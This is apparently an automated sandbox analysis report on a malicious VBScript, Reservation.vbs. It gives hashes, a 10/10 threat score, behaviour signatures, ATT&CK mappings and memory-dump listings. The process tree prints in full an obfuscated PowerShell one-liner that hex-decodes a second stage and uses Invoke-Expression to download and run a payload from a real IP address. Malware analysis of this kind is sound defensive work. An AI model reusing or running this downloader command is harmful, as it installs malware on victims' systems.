c61844d30e92c490359ae221d04620767e303247345e12de34f8ae43eb1cf26b

General

Target

Reservation.vbs
Size

1KB
MD5

d1105a626de00b3a3d248febfe9d2eab
SHA1

f088bdfa3f5d251f325ff4b11b5e680425c25ba2
SHA256

c61844d30e92c490359ae221d04620767e303247345e12de34f8ae43eb1cf26b
SHA512

11378362541f0656af2bc775cfd4b8e23e9c9a08cd9eb8b35109f3553da2e870a9c376efd3df2039c4c8224c70ba54ff0cad0030751bdfb8641da4f639e0bc16

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://54.184.87.30/bypass.txt

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1736 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1736 powershell.exe

pid	process
1736	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1736	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 2040 wrote to memory of 1736	2040	WScript.exe	powershell.exe
PID 2040 wrote to memory of 1736	2040	WScript.exe	powershell.exe
PID 2040 wrote to memory of 1736	2040	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Reservation.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2040

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP ='http://54XXX184XXX87XXX30/bypassXXXtxt'.Replace('XXX','.');$Shib='24=42=20=3d=27=45=54=48=20=43=4f=49=4e=74=2e=57=54=46=20=43=4f=49=4e=6c=49=4f=53=4e=54=27=2e=52=65=70=6c=61=63=65=28=27=45=54=48=20=43=4f=49=4e=27=2c=27=6e=45=27=29=2e=52=65=70=6c=61=63=65=28=27=54=46=20=43=4f=49=4e=27=2c=27=45=62=43=27=29=2e=52=65=70=6c=61=63=65=28=27=4f=53=27=2c=27=65=27=29=3b=24=43=43=20=3d=20=27=44=4f=53=20=43=4f=49=4e=20=4c=53=4f=53=43=4f=49=4e=6e=47=27=2e=52=65=70=6c=61=63=65=28=27=53=20=43=4f=49=4e=20=27=2c=27=57=6e=27=29=2e=52=65=70=6c=61=63=65=28=27=53=4f=27=2c=27=6f=61=44=27=29=2e=52=65=70=6c=61=63=65=28=27=43=4f=49=4e=27=2c=27=54=72=49=27=29=3b=24=41=20=3d=27=49=60=45=6f=73=20=43=4f=49=4e=60=57=60=42=54=43=20=43=4f=49=4e=6a=60=45=54=48=20=43=4f=49=4e=20=24=42=29=2e=24=43=43=28=24=54=52=55=4d=50=29=27=2e=52=65=70=6c=61=63=65=28=27=6f=73=20=43=4f=49=4e=27=2c=27=58=28=6e=60=65=27=29=2e=52=65=70=6c=61=63=65=28=27=42=54=43=20=43=4f=49=4e=27=2c=27=2d=4f=62=27=29=2e=52=65=70=6c=61=63=65=28=27=54=48=20=43=4f=49=4e=27=2c=27=60=63=60=54=27=29=3b=26=28=27=49=27=2b=27=45=58=27=29=28=24=41=20=2d=4a=6f=69=6e=20=27=27=29=7c=26=28=27=49=27=2b=27=45=58=27=29=3b';Invoke-Expression (-join ($Shib -split '=' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1736

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1736-54-0x0000000000000000-mapping.dmp

Download
memory/1736-56-0x000007FEF2940000-0x000007FEF349D000-memory.dmp

Filesize
11.4MB

Download
memory/1736-58-0x0000000002810000-0x0000000002812000-memory.dmp

Filesize
8KB

Download
memory/1736-59-0x0000000002812000-0x0000000002814000-memory.dmp

Filesize
8KB

Download
memory/1736-60-0x0000000002814000-0x0000000002817000-memory.dmp

Filesize
12KB

Download
memory/1736-57-0x000000001B760000-0x000000001BA5F000-memory.dmp

Filesize
3.0MB

Download
memory/1736-61-0x000000000281B000-0x000000000283A000-memory.dmp

Filesize
124KB

Download
memory/2040-53-0x000007FEFB651000-0x000007FEFB653000-memory.dmp

Filesize
8KB

Download

Analysis

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